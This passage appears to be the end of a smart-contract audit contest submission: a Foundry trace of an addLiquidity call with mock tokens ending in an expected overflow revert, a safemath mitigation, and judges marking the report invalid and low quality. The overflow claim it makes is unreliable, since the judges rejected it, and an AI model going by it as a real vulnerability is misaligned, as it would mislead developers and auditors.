    │   ├─ [91559] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::addLiquidity(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 5000000000000000000 [5e18], 1000000000000000000 [1e18], 0, 0, UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 1662864917 [1.662e9]) 
    │   │   ├─ [2644] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::getPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
    │   │   │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    │   │   ├─ [2517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall]
    │   │   │   └─ ← 0x00000000000000000000000000000000000000000000021e19e0c9bab240000000000000000000000000000000000000000000000000006c6b935b8bbd40000000000000000000000000000000000000000000000000000000000000631d4e14
    │   │   ├─ [8660] MockToken::transferFrom(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 5000000000000000000 [5e18]) 
    │   │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 0)
    │   │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 5000000000000000000 [5e18])
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [8660] MockToken::transferFrom(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 1000000000000000000 [1e18]) 
    │   │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 0)
    │   │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 1000000000000000000 [1e18])
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [73348] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::mint(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) 
    │   │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   │   └─ ← 10005000000000000000000 [1e22]
    │   │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   │   └─ ← 2001000000000000000000 [2.001e21]
    │   │   │   ├─ [2338] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::feeTo() [staticcall]
    │   │   │   │   └─ ← 0x000000000000000000000000a19b3b22f29e23e4c04678c94cfc3e8f202137d8
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 2236067977499789696 [2.236e18])
    │   │   │   ├─ emit Sync(: 10005000000000000000000 [1e22], : 2001000000000000000000 [2.001e21])
    │   │   │   ├─ emit Mint(param0: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, param1: 5000000000000000000 [5e18], param2: 1000000000000000000 [1e18])
    │   │   │   └─ ← 2236067977499789696 [2.236e18]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000004563918244f400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000001f081bfa74804980
    │   ├─ [583] MockToken::balanceOf(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [583] MockToken::balanceOf(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [3315] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 0) 
    │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 0)
    │   │   └─ ← true
    │   ├─ [3315] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 0) 
    │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 0)
    │   │   └─ ← true
    │   ├─ emit LogAssetsTransfered(sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenAAmount: 0, tokenBAmount: 0)
    │   ├─ emit LogAddLiquidity(sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenAAmount: 5000000000000000000 [5e18], tokenBAmount: 1000000000000000000 [1e18], tokenAAmountMin: 0, tokenBAmountMin: 0, tokenAUsed: 5000000000000000000 [5e18], tokenBUsed: 1000000000000000000 [1e18], lpReceived: 2236067977499789696 [2.236e18])
    │   └─ ← 5000000000000000000 [5e18], 1000000000000000000 [1e18], 2236067977499789696 [2.236e18]
    ├─ [0] VM::expectRevert(Arithmetic over/underflow) 
    │   └─ ← ()
    └─ ← "Arithmetic over/underflow"

Test result: ok. 1 passed; 0 failed; finished in 824.05ms

Tools Used

VS Code. Foundry. Mythx.

Recommended Mitigation Steps

Apply safemath subtract and safemath add.

Assessed type

Under/Overflow

bytes032 commented 1 year ago

Invalid

c4-pre-sort commented 1 year ago

bytes032 marked the issue as low quality report

c4-judge commented 1 year ago

GalloDaSballo marked the issue as unsatisfactory: Invalid